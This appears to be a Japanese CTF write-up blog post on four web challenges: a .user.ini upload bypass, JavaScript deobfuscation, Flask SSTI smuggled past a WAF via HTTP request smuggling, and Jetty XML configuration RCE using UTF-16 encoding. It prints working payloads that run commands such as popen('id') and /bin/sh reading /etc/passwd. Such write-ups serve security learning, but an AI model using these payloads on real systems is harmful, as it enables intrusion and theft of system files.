Web セキュリティコンテスト攻略:主要な脆弱性タイプと対策

概要

本稿では、特定のネットワークセキュリティ競技会で行われた Web 部門の課題に対して実施した技術的調査と解決策について解説する。ここではファイルアップロード制限の回避、難読化されたスクリプトの解析、テンプレートインジェクションを用いたコマンド実行、およびサーバー設定ファイルの悪用という 4 つの主要な攻撃ベクトルを分析する。

画像処理サービスのアップロード制限バイパス

最初の課題は、拡張子とコンテンツ内容に厳格な制限を設けた画像アップロード機能であった。<?php キーワードによる検知により、標準的な PHP ウェブシェルのアップロードは阻害される。しかし、PHP のショートタグ機能(<%)はバージョン依存であるため信頼性が低い。

サーバー環境が Nginx を採用している場合、.htaccess は無効である。代わりの手段として .user.ini ファイルの利用を検討する。この設定ファイルを使用することで、PHP オプションの一部を上書きできる。

/uploads ディレクトリ内に既存の PHP ファイルが存在し、かつそこを通じてユーザー定義の設定が読み込まれる構成であれば、以下のようなアプローチが可能となる。

// .user.ini の中身例
auto_prepend_file = /flag
auto_append_file = /flag

このファイルをアップロードし、対象ディレクトリ内の通常の PHP アクセスをトリガーにすることで、システム上の機密ファイル(flag)の内容をレスポンスに埋め込むことが可能となる。

JavaScript 難読化と隠蔽ルートの発見

次の課題では、クライアントサイドで大量に難読化された JavaScript コードが提供されていた。静的なサーバー環境であるため RCE は想定されず、JS 部分の分析に焦点を当てた。

提供されたソースコードには、変数名が hex 値や暗号化された配列によって置き換えられており、直接読むことは困難である。この種のコードに対する脱難読化ツールを使用すると、以下の情報を抽出できた。

  • フィルタリングロジックが複数のパターンマッチで構成されていること
  • 特定のアクセスパターンで隠された PHP ルート(例:rqxvweqtyfshbs.php)が呼び出されるようになっていること

パラメータ検証関数は重複チェックや数量制限を実装していたが、これらの制約を満たしつつ、隠されたエンドポイントを介して目的のデータにアクセスするフローを構築することが勝利条件となった。

Flask アプリケーションにおける SSTI と HTTP スメルギング

このセクションは Python の Flask フレームワークを用いたブック管理システムを対象としている。以下の簡略化した制御フローにおいて、入力値が安全に処理されていない箇所が確認された。

# 簡略化されたアプリケーション構造
class InventoryManager:
    def __init__(self):
        self.inventory = []
    
    def sanitize_input(self, value):
        blacklisted_patterns = ["waf", "error", "<", ">", "|"]
        if any(p in value for p in blacklisted_patterns):
            return False
        return True

    def add_item(self, title, author):
        if not self.sanitize_input(title) or not self.sanitize_input(author):
            abort(403)
        
        new_id = len(self.inventory) + 1
        self.inventory.append({
            "id": new_id, 
            "title": title, 
            "author": author
        })
        return redirect("/list")

    def render_details(self, book_id):
        item = find_by_id(self.inventory, book_id)
        # ここにテンプレートエンジンが使用される可能性あり
        template_str = "<p>Author: {{ author }}</p>"
        return render_template_string(template_str, author=item['author'])

脆弱性: render_template_string にユーザーステータスを渡す際、SSTI(Server-Side Template Injection)のリスクがある。また、WAF がブラックリストベースでフィルタリングを行っている。

回避策: Haproxy と Gunicorn の間で発生する HTTP リクエストスメルギングを利用する。フロントプロキシがリクエストの境界を正しく解釈しない隙間を突いて、内部サーバーへの不正なリクエストを送信する手法である。

POST /admin HTTP/1.1
Host: target.example.com
Content-Length: 265
Sec-Websocket-Key1: x

usernamePOST /add_book HTTP/1.1
Host: target.example.com
Content-Length: 216
Content-Type: application/x-www-form-urlencoded
Connection: close

title=1&author={{config.__class__.__init__.__globals__['os'].popen('id').read()}}

このように、外部から見たリクエストと内部で扱われるリクエストを分離させることで、WAF の監視をすり抜け、SSTI ペイロードを追加項目として登録することができる。出力結果を確認できない(アウトオブバンド利用不可)場合は、タイムラグを測定するブラインド注入を行うか、static ディレクトリへファイルを書き出してアクセスする手法が有効である。

Jetty サーバーの設定ファイルによる RCE

最終課題では、古いバージョンの Jetty サーバーを使用した掲示板が提示された。/fileload パスに設定ファイルのアップロード機能があり、初期状態で管理者権限を持つアカウントの存在が推測される。

認証後のアップロード機能において、XML 形式のコンフィグファイルを受け付けると判断される。ここでの問題は、exec などのコマンド実行関連のキーワードがブロックされている点だ。

対策: UTF-16 エンコーディングを活用する。サーバー側が文字コードの認識を誤る、またはデコード処理の違いを利用して、フィルタリングを回避する方法である。

<?xml version="1.0" encoding="UTF-16"?>

<Configure class="org.eclipse.jetty.server.handler.ContextHandler">
 <Call class="java.lang.Runtime" name="getRuntime">
  <Call name="exec">
   <Arg>
    <Array type="String">
     <Item>/bin/sh</Item>
     <Item>-c</Item>
     <Item>cat /etc/passwd &gt; /webapps/root/out.txt</Item>
    </Array>
   </Arg>
  </Call>
 </Call>
</Configure>

上記の XML を UTF-16 ビッグエンディアンの形式に変換してアップロードし、サーバー再起動やリロードトリガーを待つことで、サーバーサイドのコマンドを実行することが可能になる。

タグ: CTF WebSecurity SSTI HTTPSmuggling Jetty

6月28日 22:07 投稿